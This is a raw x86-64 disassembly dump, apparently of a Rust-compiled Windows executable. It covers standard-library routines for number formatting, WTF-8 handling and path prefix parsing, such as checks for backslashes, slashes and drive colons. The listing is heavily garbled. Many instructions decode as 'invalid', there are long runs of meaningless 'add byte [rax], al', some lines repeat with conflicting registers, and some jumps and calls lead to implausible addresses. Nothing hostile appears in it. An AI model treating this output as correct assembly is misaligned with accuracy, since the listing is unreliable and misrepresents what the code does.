mov edx, r9d
jae 0x14014d300
inc dword [rbx - 0x76bbef06]
retf 0xd073
add rcx, 0xfffffffffffffffe
cmp rcx, 0x80
sar esi, 0x48
cmp ecx, 0x80
ja 0x14014d3d3
xchg dword [rdx - 0x48000000], edx
mov eax, 0x81
sub rax, r8
add rcx, rsp
add dword [rax], 0x294c0000
ror byte [rax + 1], 0xe1
add rcx, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x20], ecx
lea r8, [0x1401ea6b8]
mov r9d, 2
add byte [rcx - 0x47], al
add al, byte [rax]
add byte [rax], al
mov rcx, r10
mov dl, 1
jmp 0x14014d3c2
mov rdx, rcx
cmp rdx, 0x63
ja 0x14014d252
jmp 0x14014d283
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx ecx, word [rcx + rdx*2]
mov word [rsp + rax + 0x2e], cx
add rax, 0xfffffffffffffffe
test r8d, r8d
setns dl
lea rcx, [rsp + rax]
add rcx, 0x30
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
lea r8, [0x1401ea218]
mov rcx, r10
xor r9d, r9d
call fcn.140013720
nop
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
ret
lea r8, str.librarycore_src_fmt_num.rs
mov edx, 0x80
call fcn.1401869f0
ud2
mov ecx, 0
add byte [rax], al
add byte [rax], al
or byte [rax + 0xf], 0x42
invalid
add byte [rax], al
or byte [rax + 0xf], 0x42
enter 0xffffffffffff8948, 0x4d
movabs al, byte [0x31000eeb08058b48]
invalid
add byte [rcx], dh
dec dword [rbp + rcx*4 + 0x4d]
lea r9, [rbp - 0x60]
mov rcx, rbx
mov rdx, rsi
xor r8d, r8d
call rax
adc eax, 0xe3058b48
invalid
leave
or dword [rax - 0x75], ecx
sbb r8b, r13b
push rdx
ja 0x14014d5b8
call qword [rax - 0x573b7eb8]
add byte [rax], al
add byte [rax], al
pop rbx
pop rdi
mov dword [rbp - 0x40], 0
add byte [rax - 0x73], cl
ror byte [r8 - 0x77], 1
mov r8b, 0x48
mov dword [rbp - 0x48], 1
invalid
pop r14
invalid
movabs al, byte [0xf0b0f00039366e8]
invalid
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
call fcn.14014a170
ud2
nop
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
sbb r8b, r13b
invalid
invalid
add dword [rax], eax
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
nop
nop
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x38
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 1
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rdx, [0x1401bf918]
and al, 0xb8
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7204d
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x88]
call fcn.1400141d0
mov rcx, qword [rsp + 0x70]
test al, al
je 0x14014d909
test rcx, rcx
je 0x14014d909
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.size_limit_reached_fmt::Error__from__SizeLimitedFmtAdapter__was_discarded
mov r8d, shutdown
call qword [rax + 0x18]
test al, al
jne 0x14014d943
jmp 0x14014d912
test al, al
jne 0x14014d943
test rcx, rcx
jne 0x14014d971
mov rbx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rsi, qword [rax + 0x18]
mov rdx, qword [rdi + 0x30]
mov edx, dword [rdi + 0x30]
mov r8, qword [rdi + 0x38]
mov rcx, rbx
call rsi
jmp 0x14014d949
mov rcx, rsi
call fcn.140013e80
in al, dx
invalid
test al, al
je 0x14014d947
mov al, 1
jmp 0x14014d949
xor eax, eax
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
ret
lea rax, [0x1401c0078]
mov qword [rsp + 0x20], rax
lea rcx, [0x1401c003c]
lea r9, [0x1401bf898]
lea r8, [rsp + 0x38]
mov edx, 0x37
call fcn.140186ec0
ud2
add dword [rax], eax
add byte [rax - 0x77], cl
xchg ebp, eax
sub byte [rcx], al
add byte [rax], al
mov ebp, dword [rdi]
invalid
mov edi, dword [rdi + 0x10]
lea esp, [rax + 0x48000000]
mov edx, dword [rbp + 0x140]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7b], cl
invalid
test dword [rax], ebp
add dword [rax], eax
add al, ch
imul ecx, dword [rax + rax], 0xb60f4400
or al, 0
add byte [rdi + rcx - 0x4a], al
sub byte [rcx], al
add byte [rax], al
or al, 0
add byte [rdi + rcx - 0x4a], al
add byte [rax], al
mov ebp, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
lea esi, [rax + 0x48000000]
mov eax, dword [rbp + 0xc0]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
test eax, eax
add byte [rax], al
add byte [rax], al
movzx edx, r15b
add byte [rax], al
add byte [rax], al
lea eax, [0x1401f0298]
invalid
mov edx, dword [rbp + 0x128]
add byte [rbx + rcx*4 - 0x7b], cl
add dword [rax], eax
add byte [rcx - 1], al
jmp r9
invalid
add ecx, 4
add al, 0xeb
xor al, 0x48
lea rdx, [rax + 1]
lea rdx, [rax + 1]
lea edx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
add ch, bl
invalid
add ch, bl
add eax, 0x2b9
mov ecx, 2
invalid
invalid
mov ecx, 2
add byte [rax], al
xchg ebp, eax
sub byte [rcx], al
add byte [rax], al
retf 0x820f
add byte [rax + 3], cl
lea eax, [rax + 1]
add byte [rax], al
enter 0xffffffffffff8548, 0xffffffffffffffd2
invalid
invalid
xor esp, esp
movabs eax, dword [0xb18d100f000000]
add byte [rax], al
invalid
movups xmm1, xmmword [rbp + 0xb1]
add byte [rdi], cl
sub dword [rbp + 0x60], ecx
movaps xmmword [rbp + 0x60], xmm1
movaps xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0xa0]
lea ecx, [rbp + 0xa0]
lea ecx, [rbp + 0xa0]
mov rdx, r13
mov r8, rdi
mov eax, edi
call fcn.14014e750
movzx edx, byte [rbp + 0xa0]
mov rcx, qword [rbp + 0xb0]
add byte [rax], al
invalid
xchg ebp, eax
movabs al, byte [0xb08d8b48000000]
add byte [rax], al
invalid
mov rax, qword [rbp + 0xc0]
lea r8, [0x1401f02b4]
lea eax, [0x1401f02b4]
test eax, eax
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
invalid
lea eax, [0x1401f02b4]
movsxd r9, dword [r8 + rdx*4]
or al, 0x90
add r9, r8
mov rdx, rdi
mov edx, edi
mov edx, edi
mov r8, r13
jmp r9
jmp rcx
call 0x188f6db31
jmp rcx
loope 0x14014dc38
add rcx, 4
add ecx, 4
add al, 0xeb
jmp 0x14014dc29
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
or bl, ch
invalid
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
or bl, ch
or bl, ch
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x14014dc29
lea rdx, [rax + 1]
test rax, rax
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
invalid
cmove rdx, rax
add rcx, rdx
add rcx, 2
add ecx, 2
add ecx, 2
rol dword [rdx], 0xeb
add eax, 0x2b9
mov ecx, 2
invalid
invalid
jmp 0x14014dc29
mov ecx, 2
mov rdx, rdi
cli
sub rdx, rcx
jb 0x14014e155
invalid
invalid
add byte [rax], al
and byte [0x14160dc37], al
add byte [rcx + rax - 0x17], cl
add rcx, r13
add ecx, ebp
jmp 0x188dd6585
mov r8, rcx
test rdx, rdx
je case.0x1401207b8.692
movzx eax, byte [r8]
cmp al, 0x5c
sete cl
cmp al, 0x2f
sete al
or al, cl
jmp 0x14014dc54
xor eax, eax
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], rdi
jge 0x14014dc34
jge 0x14014dc34
movups xmm0, xmmword [rbp + 0xa0]
movups xmm1, xmmword [rbp + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm1
invalid
invalid
mov rcx, qword [rbp + 0xc0]
mov qword [rbp], rcx
mov byte [rbp + 0xa], al
mov word [rbp + 8], 0x200
lea r14, [rbp + 0x21]
mov sil, 2
xor ebx, ebx
lea rdi, [rbp + 0xa0]
mov r13, qword [rbp + 0x140]
cmp r15b, 6
je 0x14014dcd1
invalid
nop word cs:[rax + rax]
mov rax, qword [rbp + 0x6f]
mov qword [rbp + 0xbf], rax
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0xb0], xmm1
movaps xmmword [rbp + 0xa0], xmm0
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x6d], cl
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x18], rax
mov byte [rbp + 0x20], r15b
mov rax, qword [rbp + 0xbf]
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
invalid
adc byte [rax - 0x75], cl
test dword [rax], ebp
add dword [rax], eax
add byte [rax - 0x77], cl
sbb byte [r8 + rcx*4 + 0x7d], r8b
and byte [rax - 0x75], cl
test dword [rdi + 0x49000000], edi
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
movaps xmm0, xmmword [rbp + 0xa0]
movaps xmm1, xmmword [rbp + 0xb0]
movups xmmword [r14 + 0x10], xmm1
adc byte [rcx + 0xf], r8b
adc dword [rsi], eax
movups xmmword [rsi], xmm0
mov byte [rbp + 0x4a], r12b
mov byte [rbp + 0x48], bl
pop rbp
mov byte [rbp + 0x49], sil
mov rcx, rdi
lea rdx, [rbp + 0x10]
call fcn.14014ec00
invalid
add byte [rax], al
lea rcx, [rbp + 0xd8]
lea rdx, [rbp - 0x30]
call fcn.14014ec00
ror dword [rsi], cl
add byte [rax], al
invalid
movzx eax, byte [rbp + 0xd8]
cmp byte [rbp + 0xa0], 0xa
je 0x14014ddb6
cmp al, 0xa
je 0x14014ddba
mov rcx, rdi
lea rdx, [rbp + 0xd8]
call fcn.14014efd0
add byte [rax + rax*8 + 0x9d840f], al
add byte [rax], al
mov r13, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov qword [rbp + 0x128], rax
sub byte [rcx], al
add byte [rax], al
movzx r15d, byte [rbp + 0x20]
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movaps xmmword [rbp + 0x50], xmm0
push r8
push r8
movaps xmmword [rbp + 0x60], xmm1
mov rax, qword [r14 + 0x1f]
mov eax, dword [rsi + 0x1f]
mov eax, dword [rsi + 0x1f]
mov qword [rbp + 0x6f], rax
movzx ebx, byte [rbp + 0x48]
movzx esi, byte [rbp + 0x49]
movzx r12d, byte [rbp + 0x4a]
movzx eax, byte [r14 + 0x2e]
mov byte [rbp + 0x11c], al
add byte [rcx - 0x75], al
sub r9b, byte [rcx + 0x11885]
add byte [rcx - 0x80], al
inc dword [rsi]
add byte [rcx - 0x75], al
sub r9b, byte [rcx + 0x11885]
add byte [rcx - 0x80], al
inc dword [rsi]
jne 0x14014dcb0
jmp 0x14014dcd1
cmp al, 0xa
jne case.default.0x14014db1d
mov rax, qword [rbp + 0x6f]
mov qword [rbp - 0x41], rax
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp - 0x50], xmm1
movaps xmmword [rbp - 0x60], xmm0
mov eax, dword [rbp + 0x118]
mov dword [rbp + 0x120], eax
movzx eax, byte [rbp + 0x11c]
mov byte [rbp + 0x124], al
cmp r12b, 2
jne 0x14014df69
mov rax, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x130]
mov rsi, qword [rbp + 0x110]
mov r11, qword [rbp + 0x138]
cmp byte [rbp + 0x14f], 2
mov qword [rbp + 0x130], rcx
cmove r11, rcx
mov rbx, rax
lea r12, [rax + r11]
mov r14, qword [rsi + 0x20]
mov r13, qword [rsi + 0x28]
xor ecx, ecx
mov dil, 1
cmp rcx, r11
je 0x14014e01a
lea rdx, [rbx + rcx]
mov r15, rcx
mov r8, rdx
jmp 0x14014de6f
add r8, 2
cmp rax, r12
cmovne rax, r8
mov r10d, 2
nop dword [rax]
add r15, r10
mov r8, rax
cmp rax, r12
je 0x14014e01d
lea rax, [r8 + 1]
movzx r9d, byte [r8]
mov r10d, 1
test r9b, r9b
jns 0x14014de60
cmp r9b, 0xe0
jb 0x14014de4c
stc
loopne 0x14014def9
invalid
cmp r9b, 0xed
jne case.0x1400d1872.1416
cmp rax, r12
cmp eax, esp
je 0x14014e01d
lea rax, [r8 + 2]
cmp rax, r12
cmp eax, esp
je 0x14014e01d
cmp byte [r8 + 1], 0x9f
lahf
ja 0x14014def4
add r8, 3
mov r10d, 3
mov edx, 3
rol byte [rbx], 0x41
mov edx, 3
add byte [rax], al
mov rax, r8
jmp 0x14014de60
add r8, 2
cmp rax, r12
cmove r8, rax
xor eax, eax
cmp r8, r12
setne al
add rax, r8
mov r10d, 3
mov edx, 3
mov edx, 3
add byte [rax], al
add byte [rcx - 0x80], al
stc
cmp r9b, 0xf0
jb 0x14014de60
invalid
xor r8d, r8d
cmp rax, r12
setne r8b
add rax, r8
mov r10d, 4
jmp 0x14014de60
mov r8, r15
sub r8, rcx
jb 0x14014e17e
enter 0xffffffffffff820f, 0x7e
add al, byte [rax]
add byte [rcx + rcx*4 - 0x63], cl
cmp byte [rcx], al
add byte [rax], al
mov qword [rbp + 0x138], r11
cmp r15, r11
ja case.0x14011ca61.719
mov rsi, qword [r13 + 0x18]
mov rcx, r14
call rsi
test al, al
jne 0x14014e046
mov r8d, 3
mov rcx, r14
lea rdx, [0x1401c2188]
call rsi
test al, al
jne 0x14014e046
add r15, 3
mov rcx, r15
mov r11, qword [rbp + 0x138]
add dword [rax], eax
add byte [rbp + 0x39], cl
fisttp word [rdi]
xchg ch, ah
invalid
invalid
invalid
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r15
mov rdx, r11
call fcn.1401869f0
jmp 0x14014e18d
mov rax, qword [rbp - 0x41]
mov qword [rbp + 0xd0], rax
movaps xmm0, xmmword [rbp - 0x60]
movaps xmm1, xmmword [rbp - 0x50]
movups xmmword [rbp + 0xc1], xmm1
movups xmmword [rbp + 0xb1], xmm0
mov eax, dword [rbp + 0x120]
mov dword [rbp + 0xdb], eax
movzx eax, byte [rbp + 0x124]
mov byte [rbp + 0xdf], al
mov qword [rbp + 0xa0], r13
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0xa8], rax
mov byte [rbp + 0xb0], r15b
mov byte [rbp + 0xd8], bl
mov byte [rbp + 0xd9], sil
mov byte [rbp + 0xda], r12b
lea rcx, [rbp + 0xa0]
call fcn.14014f0a0
test rax, rax
mov rsi, qword [rbp + 0x110]
je 0x14014e007
invalid
mov rcx, r11
sub r11, rcx
lea rdx, [rbx + rcx]
test rcx, rcx
je 0x14014e035
mov ecx, esi
mov r8, r11
call qword [r13 + 0x18]
jmp case.0x14014c89f.1306
invalid
cmovs ecx, dword [rbx + 0x1108d]
add byte [rbp - 0x77], cl
invalid
invalid
mov r8, r11
call fcn.140013e80
fsubr st(0)
cmp al, 0x5e
in al, dx
dec dword [rcx + 0x4fbd80c7]
mov edi, eax
cmp byte [rbp + 0x14f], 2
mov edi, eax
cmp byte [rbp + 0x14f], 2
je 0x14014e06b
sbb al, 0x48
cmp dword [rbp + 0x130], 0
cmp qword [rbp + 0x130], 0
je 0x14014e06b
adc cl, byte [rax - 0x75]
or eax, 0xee1f8
invalid
invalid
mov rcx, qword [0x14023c258]
invalid
xor edx, edx
mov r8, rbx
fdivr st(7)
adc eax, 0x40fbd
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
add rsp, 0x1d8
add esp, 0x1d8
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rax, [0x1401c2068]
mov qword [rbp - 0x28], rcx
lea rax, [0x1401c2068]
mov qword [rbp + 0x10], rax
lea rax, [fcn.140018530]
lea eax, [fcn.140018530]
mov qword [rbp + 0x18], rax
mov dword [rbp + 0x18], eax
mov dword [rbp + 0x18], eax
lea rax, [rbp - 0x30]
mov qword [rbp + 0x20], rax
lea rax, [0x1400141a0]
in al, dx
invalid
ror byte [rax - 0x77], 1
and byte [r8 - 0x73], r9b
add eax, 0xffec60e4
in al, dx
invalid
mov qword [rbp + 0x28], rax
lea rax, [0x1401c2048]
mov qword [rbp + 0xa0], rax
movabs al, byte [0xa885c748000000]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
movabs al, byte [0xa885c748000000]
test al, 0
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test eax, eax
add byte [rax], al
mov qword [rbp + 0xc0], 0
lea rax, [rbp + 0x10]
mov qword [rbp + 0xb0], rax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
adc byte [r8 - 0x77], r9b
test dword [rax + 0x48000000], esi
add byte [rax], al
mov qword [rbp + 0xb8], 2
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 0x2000000], edi
add byte [rax], al
add byte [rdx], al
mov qword [rbp + 0xb8], 2
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
and byte [rax - 0x75], r9b
push rsi
sub byte [rbp + rcx*4 - 0x7b], cl
lea r8, [rbp + 0xa0]
call fcn.1400141d0
lea r8, [rbp + 0xa0]
lea eax, [rbp + 0xa0]
add byte [rax], al
call fcn.1400141d0
mov edi, eax
cmp byte [rbp + 0x14f], 2
je 0x14014e06b
cmp qword [rbp + 0x130], 0
je 0x14014e06b
add byte [rax], al
add byte [rdi], cl
test byte [rax - 1], al
invalid
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0x140]
jmp 0x14014e065
invalid
invalid
invalid
invalid
lea r8, str.library_std_srcpath.rs
lea eax, [0x1401c1b18]
add byte [rax - 0x77], cl
cli
mov rdx, rdi
call fcn.1401869f0
jmp 0x14014e18d
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r15
mov rdx, qword [rbp + 0x138]
call fcn.140186af0
jmp 0x14014e18d
invalid
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rdx, r15
call fcn.140186d80
ud2
add byte [rax], al
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call 0x1488d6569
add byte [rdx + rcx*2 + 0x48], dh
cmp dword [rax + 0x10], 0x11
or eax, 0x8b480004
or eax, 0xedfe3
insb byte [rdi], dx
and al, 0x50
add r14b, r15b
invalid
ror dword [rax - 0x77], 5
invalid
mov dword [0x14023c258], eax
fisttp word [rsi]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x40d04
invalid
jne 0x14014e321
pop rbp
loopne case.0x1400e7c73.1327
mov dword [rbp - 0x18], 0
add byte [rax], al
add dh, al
lock add dword [rbp + rcx*4 + 0x2c], ecx
lea r13, [rdi + rbx*2]
lea esi, [rbp - 4]
nop dword cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
cld
call 0x1a71414e2
test r15d, r15d
int1
add al, bl
add byte [rax], al
mov word [rax], es
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov bh, 0xd1
invalid
xchg dword [rsi + 1], esi
jbe 0x14014e3c4
add dword [rax], eax
add byte [rax], al
add byte [rcx + rdi - 0x11], cl
cmp edi, ebp
test byte [rdx + 1], dh
add byte [rax], al
invalid
rol byte [rcx - 0x7f], 0xc0
add byte [rax], ah
invalid
rol byte [rax], 0x20
add byte [rax], al
clc
add ah, bh
add byte [rax], al
invalid
add dword [rax], eax
add byte [rdi], cl
movzx eax, ax
loope 0x14014e3f5
inc dword [rbx]
add byte [rax], al
add eax, dword [rax]
add byte [0x14014e7fd], ah
and eax, 0x3ff
add byte [rax], al
shl eax, 0x10
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax + 1], cl
enter 0x31eb, 0xf
invalid
invalid
cld
invalid
call 0x14c5408d1
or byte [rax - 0x1e7f02bb], 0x3f
invalid
loop 0x14014e523
or byte [rax - 0x40be00b3], 4
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
sub eax, esp
loopne 0x14014e568
cmp eax, edi
pop rsp
invalid
dec dword [rax - 0x77]
invalid
mov edx, esp
add eax, dword [rax]
invalid
out dx, eax
add byte [rcx - 0xfba393a], cl
add byte [rax - 0x77], cl
lock add byte [rax - 0x77], cl
fld1
jne 0x14014e56c
add byte [rax], al
ror byte [r15], 1
adc dword [rax + 0x10], ecx
and al, 0x20
mov rdx, rdi
mov r8, rsi
call fcn.14014e750
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
xor byte [rax - 0x75], cl
push rsp
and al, 0x40
invalid
xor byte [rax - 0x75], cl
push rsp
and al, 0x40
invalid
movzx r8d, al
movzx r8d, al
lea r9, [0x1401f02d0]
lea ecx, [0x1401f02d0]
movsxd r10, dword [r9 + r8*4]
add r10, r9
mov r8, rsi
mov r9, rdi
jmp r10
jmp rdx
add rcx, 4
jmp 0x14014e680
invalid
xor al, 0x4c
lea eax, [rdx + 1]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp 0x14014e680
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x14014e680
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
add ecx, 2
add ecx, 2
rol dword [rdx], 0xeb
add eax, 0x2b9
mov ecx, 2
mov r8, rsi
jmp 0x14014e680
mov ecx, 2
mov r8, rsi
sub r8, rcx
jb 0x14014e73c
invalid
mov al, 0
add byte [rax], al
test r8, r8
je 0x14014e6af
invalid
sbb byte [rcx + 0xf], al
mov dh, 9
cmp cl, 0x5c
pop rsp
pop rsp
sete dl
cmp cl, 0x2f
invalid
sete cl
or cl, dl
cmp al, 5
jae 0x14014e6b5
invalid
jmp 0x14014e6bd
test cl, cl
jne 0x14014e6bd
xor eax, eax
jmp case.0x140119330.768
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
and al, 0x20
mov rdx, rdi
mov r8, rsi
call fcn.14014e750
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
and al, 0x30
mov rdx, qword [rsp + 0x40]
and al, 0x40
movzx r8d, al
movzx r8d, al
lea r9, [0x1401f02ec]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
jmp rax
add rcx, 4
jmp 0x14014e72b
invalid
xor al, 0x4c
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
ror dword [rax - 0x7d], 0xc1
or bl, ch
invalid
ror dword [rax - 0x7d], 0xc1
or bl, ch
and byte [rcx + 6], bh
mov ecx, 6
add bl, ch
sbb dword [rbp + rcx*4 + 0x42], ecx
lea r8, [rdx + 1]
invalid
invalid
jmp 0x14014e72b
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp 0x14014e72b
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
mov ecx, 2
add al, byte [rax]
add byte [rax], al
cmp rcx, rsi
int1
ja 0x14014e73c
cmp al, 6
setne al
add rsp, 0x48
pop rdi
pop rsi
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1401869f0
ud2
push rdi
push rbp
push rbx
sub rsp, 0x20
in al, dx
and byte [rbp - 0x7b], cl
invalid
je 0x14014e78b
in al, dx
and byte [rbp - 0x7b], cl
sal byte [rsp + rbp + 0xf], 0xb6
xor al, byte [rax - 0x80]
invalid
invalid
movzx esi, byte [rdx]
cmp sil, 0x2f
cmp dh, 0x2f
cmp dh, 0x2f
mov edi, 0x5c
cmove esi, edi
cmp r8, 1
jne 0x14014e7a4
invalid
add byte [rax], al
add byte [rdi], cl
test dword [rcx - 0x7d], 0x307501f8
invalid
xor byte [rbp + 0x31], al
sal byte [rcx], cl
in eax, dx
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
xor r9d, r9d
xor r14d, r14d
div byte [rcx]
invalid
xor edi, edi
jmp 0x14014e874
add byte [rax], al
div byte [rcx]
invalid
add byte [rax], al
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
xor ebx, ebx
xor ebx, ebx
xor r9d, r9d
xor r14d, r14d
invalid
xor ebx, ebx
xor edi, edi
xor esi, esi
jmp 0x14014e874
invalid
movzx eax, byte [rdx + 1]
cmp al, 0x2f
add dword [rdi + rbp], edi
cmovne edi, eax
cmp r8, 2
jne 0x14014e7c8
xor r10d, r10d
xor ebp, ebp
in eax, dx
in eax, dx
xor r11d, r11d
xor r9d, r9d
xor r14d, r14d
xor ebx, ebx
jmp 0x14014e874
movzx ebx, byte [rdx + 2]
cmp bl, 0x2f
mov r14d, 0x5c
cmove ebx, r14d
cmp r8, 3
jne 0x14014e7f2
xor r10d, r10d
xor ebp, ebp
sal byte [rcx], cl
in eax, dx
xor r11d, r11d
xor r9d, r9d
leave
xor r14d, r14d
jmp 0x14014e874
movzx eax, byte [rdx + 3]
cmp al, 0x2f
cmovne r14d, eax
cmp r8, 4
jne 0x14014e80f
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
xor r9d, r9d
jmp 0x14014e874
movzx r9d, byte [rdx + 4]
cmp r9b, 0x2f
mov r11d, 0x5c
cmove r9d, r11d
cmp r8, 5
jne 0x14014e832
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
jmp 0x14014e874
movzx eax, byte [rdx + 5]
cmp al, 0x2f
cmovne r11d, eax
cmp r8, 6
jne 0x14014e849
xor r10d, r10d
xor ebp, ebp
jmp 0x14014e874
movzx ebp, byte [rdx + 6]
cmp bpl, 0x2f
mov r10d, 0x5c
cmove ebp, r10d
cmp r8, 7
jne 0x14014e866
xor r10d, r10d
jmp 0x14014e874
movzx eax, byte [rdx + 7]
cmp al, 0x2f
cmovne r10d, eax
shl r10, 0x38
cmp r8, 8
mov eax, 8
cmovb rax, r8
cmp rax, 2
jb 0x14014e8fa
movzx edi, dil
shl rdi, 8
movzx esi, sil
or rsi, rdi
cmp esi, 0x5c5c
pop rsp
pop rsp
add byte [rax], al
jne 0x14014e8fa
mov esi, eax
and esi, 0xe
cmp esi, 2
je 0x14014e93b
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0xf6
add byte [rax], al
movzx esi, r14b
shl esi, 8
movzx edi, bl
mov dh, 0xfb
mov dh, 0xfb
or edi, esi
movzx esi, di
cmp esi, 0x5c2e
pop rsp
add byte [rax], al
pop rsp
add byte [rax], al
je 0x14014e9ea
cmp esi, 0x5c3f
jne 0x14014e93b
insb byte [rdi], dx
insb byte [rdi], dx
cmp r8, 3
jbe 0x14014eb96
invalid
add al, byte [rax]
add byte [rax], al
mov ebp, 0x80000002
cmp ch, byte [rdi]
cmp byte [rdx], 0x2f
je case.0x14011ca0b.750
cmp byte [rdx + 1], 0x2f
je case.0x14011ca0b.750
invalid
cmp byte [rdx + 2], 0x2f
je case.0x14011ca0b.750
cmp byte [rdx + 3], 0x2f
add ebp, dword [rdi]
jne 0x14014ea29
test dword [0x18d14e8f6], esi
lea edx, [rax - 2]
lea r10, [r8 - 2]
jmp case.0x14011e950.737
cmp r8, 2
clc
add cl, byte [rdi]
invalid
invalid
jb 0x14014e9dc
cmp byte [rdx + 1], 0x3a
jne 0x14014e9dc
add byte [rax], al
add byte [rdi], cl
mov dh, 2
movzx eax, byte [rdx]
mov edx, eax
and dl, 0xdf
fild word [rax - 0x57f403e]
sbb cl, byte [rdi]
invalid
invalid
add byte [rax], al
invalid
ret 0xe280
fild word [rax - 0x57f403e]
sbb cl, byte [rdi]
